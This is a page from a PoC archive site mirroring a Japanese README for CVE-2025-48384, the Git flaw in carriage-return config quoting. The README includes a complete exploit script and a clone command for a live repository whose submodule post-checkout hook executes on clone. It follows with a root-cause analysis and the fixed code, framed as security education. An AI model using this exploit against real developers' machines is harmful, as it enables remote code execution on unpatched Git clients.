Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-48384 PoC — Git allows arbitrary code execution through broken config quoting

Source
Associated Vulnerability
Title: Git allows arbitrary code execution through broken config quoting (CVE-2025-48384)
Description:Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. This vulnerability is fixed in v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1.
Description
CVE-2025-48384 PoC
Readme
# CVE-2025-48384 PoC

## 注意事項

本リポジトリはセキュリティ教育用に作成したものです。<br>
悪用はご遠慮ください。

本脆弱性はディレクトリ名に`\r`を含める必要があるため、<br>
Linux/Unix系が影響対象となります。

下記が影響対象のGitのバージョンです。<br>

- v2.43.x系 -> v2.43.7 未満
- v2.44.x系 -> v2.44.4 未満
- v2.45.x系 -> v2.45.4 未満
- v2.46.x系 -> v2.46.4 未満
- v2.47.x系 -> v2.47.3 未満
- v2.48.x系 -> v2.48.2 未満
- v2.49.x系 -> v2.49.1 未満
- v2.50.x系 -> v2.50.1 未満

## Remote 検証用

下記コマンドで本リポジトリをクローンした場合もRCEは成立します。<br>
※ 実行の際は、十分にご注意ください。
```
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
```

下記サブモジュールリポジトリの`post-checkout`内のコマンドが実行されます。<br>
- [IK-20211125/sub](https://github.com/IK-20211125/sub)

```bash
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
```

## Local 検証用 ShellScript

```zsh
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"

git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules

ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
```

[こちら](https://github.com/acheong08/CVE-2025-48384/tree/main)を参考に作成しました。
2点変更しています。
1. zsh用に変更
2. 下記を削除
```shell
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
```

## 技術調査

### <ins>なぜ、RCEができるのか</ins>

まず、なぜRCEが実現されるのかという点ですが、<br>
本脆弱性は、Gitのhooksという標準機能を利用しています。

hooksを簡単に説明すると、<br>
「特定のイベント (コミットなど) が発生した際に、事前に設定したスクリプトを実行できる機能」です。

本脆弱性は`.git`内の`post-checkout`というチェックアウト時に実行されるファイルを利用しています。

しかし、このファイルは基本的にローカルでしか扱えないため、GitHubのリポジトリをクローンしただけでは、<br>
攻撃者は当然関与できません。

その点をGitの`\r`の処理を利用して突破し、
ローカル上の`./.git/modules/sub/hooks/`に任意の`post-checkout`ファイルを置くことでRCEを実現しています。

---

### <ins>なぜ、post-checkoutをhooksに置けるのか</ins>

Gitの`\r`の処理を利用します。

Gitの処理に乗っ取って簡単に説明していきます。

まず、`git clone --recursive {url}`を利用して、GitHub上のリモートリポジトリからローカルへクローンします。<br>
(`--recursive`を付与することでサブモジュールも同時にクローンする。)<br>
その際に、`.gitmodules`内の`path`というパラメータのディレクトリに`url`のサブモジュールを展開します。

```
[submodule "sub"]
	url = https://github.com/IK-20211125/sub.git
	path = "sub"
```

この`path`パラメータのディレクトリ名に下記のように細工を施します。

```
    path = "sub\r"
```

また、リポジトリ内のサブモジュールディレクトリの名前も`sub\r`にしておきます。

このようにして`git clone --recursive`を行うと、<br>
`.gitmodules`内の`path`に従い、`sub\r`ディレクトリに`url`からサブモジュールを展開しようとします。<br>
(`.gitmodules`内の`path`にディレクトリがない場合、サブモジュールの展開を行わない。)

しかし、Gitはサブモジュールの<ins>最終的な</ins>展開先を`.gitmodules`の`path`の値を参照しません。<br>

最終的に参照するのは`.git/modules/sub/config`内の`worktree`というパラメータを参照します。<br>
このパラメータは`.gitmodules`の`path`の値を元に書き込まれます。

この<ins>書き込み</ins>が重要です。<br>
`path = "sub\r"`を`.git/modules/sub/config`内の`worktree`に書き込むと下記のような形になります。

```
[core]
    workdir = ../../../sub\r
```

重要なのはダブルクォートで囲われていないという点です。
```c
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
       [...]

       /*
         * Check to see if the value needs to be surrounded with a dq pair.
         * Note that problematic characters are always backslash-quoted; this
         * check is about not losing leading or trailing SP and strings that
         * follow beginning-of-comment characters (i.e. ';' and '#') by the
         * configuration parser.
         */
        if (value[0] == ' ')
                quote = "\"";
        for (i = 0; value[i]; i++)
                if (value[i] == ';' || value[i] == '#')
                        quote = "\"";
        if (i && value[i - 1] == ' ')
                quote = "\"";

        strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
```

特定の位置にスペースが含まれている場合、<br>
または任意の場所に`;`または`#`が含まれている場合にのみダブルクォートで囲われますが、<br>
`\r`の場合はダブルクォートで囲われません。

ダブルクォートが囲われていない場合、末尾の`\r`をGitは評価しません。

そのため、サブモジュールの展開先は、`../../../sub`となります。

サブモジュールの名前は`sub\r`のため、`sub`という名前の任意の形態のファイルを作成することは可能です。(名前が被らない)

ここにシンボリックリンクを置き、サブモジュールの展開先を`./.git/modules/sub/hooks/`に変更します。
```
sub -> .git/modules/sub/hooks
```

サブモジュール内に置いた攻撃者のスクリプトファイルである`post-checkout`が、<br>
被害者のローカルの`./.git/modules/sub/hooks/`に置くことができ、チェックアウト時に実行されるようになります。

---

### <ins>重要な点</ins>

この攻撃が成立するのはGit内で`\r`の処理が変わるということが原因です。

- `.gitmodules`をGitが参照した際はダブルクォートで囲われていたため、`\r`を評価する。
- `.git/modules/sub/config`をGitが参照した際はダブルクォートが囲われていないため、`\r`を評価しない。

---

### <ins>修正</ins>

本脆弱性が修正されたGitのバージョンでは下記のように変更されています。<br>
(`\r`が含まれていた場合、ダブルクォートで囲むように変更)

```c
	if (value[0] == ' ')
		quote = "\"";
	for (i = 0; value[i]; i++)
		if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
			quote = "\"";
	if (i && value[i - 1] == ' ')
		quote = "\"";
```

https://github.com/git/git/blob/master/config.c#L2938

--- 

### <ins>類似の脆弱性</ins>

類似の脆弱性として、[CVE-2024-32002](https://nvd.nist.gov/vuln/detail/cve-2024-32002)があります。

この脆弱性は、大文字小文字を区別しないファイルシステム(Windows,MacOSなど)で、<br>
CVE-2025-48384と同様にシンボリックリンクを利用して、攻撃者のgithooksへの介入を許します。

下記記事が参考になります。<br>
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002

---

## 参考
- https://nvd.nist.gov/vuln/detail/CVE-2025-48384
- https://github.com/acheong08/CVE-2025-48384/tree/main
- https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384

---

※ 内容に解釈の誤りがある場合は、ご指摘いただけますと幸いです。
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →